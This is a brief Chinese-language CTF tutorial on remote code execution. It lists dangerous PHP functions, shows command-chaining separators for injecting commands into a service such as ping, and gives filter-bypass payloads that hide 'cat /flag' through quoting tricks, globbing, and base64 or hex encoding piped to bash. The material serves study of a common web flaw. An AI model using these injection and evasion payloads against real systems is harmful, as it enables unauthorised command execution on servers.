CTF——远程代码执行漏洞的利用与绕过

CTF——远程代码执行漏洞的利用与绕过


RCE远程代码执行是一种常见的攻击方法,通过一些特定的函数方法来达到远程执行漏洞。比如说PHP的system,exec,shell_exec,nodejs的eval等。开发者不小心将这些函数公开出来以实现某种服务,而用户的数据不施加任何的过滤的话就很容易形成此漏洞。

敏感函数

系统指令执行的敏感函数

system()、exec()、shell_exec()、passthru()、pctnl_exec()、 popen()、proc_open()

能够进行代码注入的敏感函数

eval()、assert()、preg_replace()、call_user_func()

漏洞利用

RCE一般发生在本来就是进行系统命令执行的地方,如一个网站可以提供ping服务等,这样的话就可以通过联合执行来执行其他的命令。

cmd1;cmd2;cmd3 #利用;号分开命令
#分号的效果是不管命令执行是否成功,所有命令都会执行

cmd1 && cmd2 #利用&&分开命令
#若前面的命令是错误的后面的将无法执行

cmd1 || cmd2 #利用||分开命令
#只有当cmd1执行错误时,才执行cmd2

cmd1 %0a cmd2 #换行

过滤绕过

#若输入过滤了空格可以用下面方法尝试绕过

{cat,/flag} #利用{}与,绕过

%20 #利用url编码绕过

#若过滤了关键字 可用下面方法尝试绕过

ca\t \flag #反斜杠绕过

cat \fl''ag #双单引号绕过

echo "Y2F0IFxmbGFn" | base64 -d |bash #利用base64编码绕过

echo "636174205C666C6167" | xxd -r -p | bash #hex码绕过

cat \f[l]ag #利用[]匹配

cat \fla* #利用*进行任意匹配 还可以利用其他的正则绕过



你可能感兴趣的:(ctf总结,安全,web安全,bash)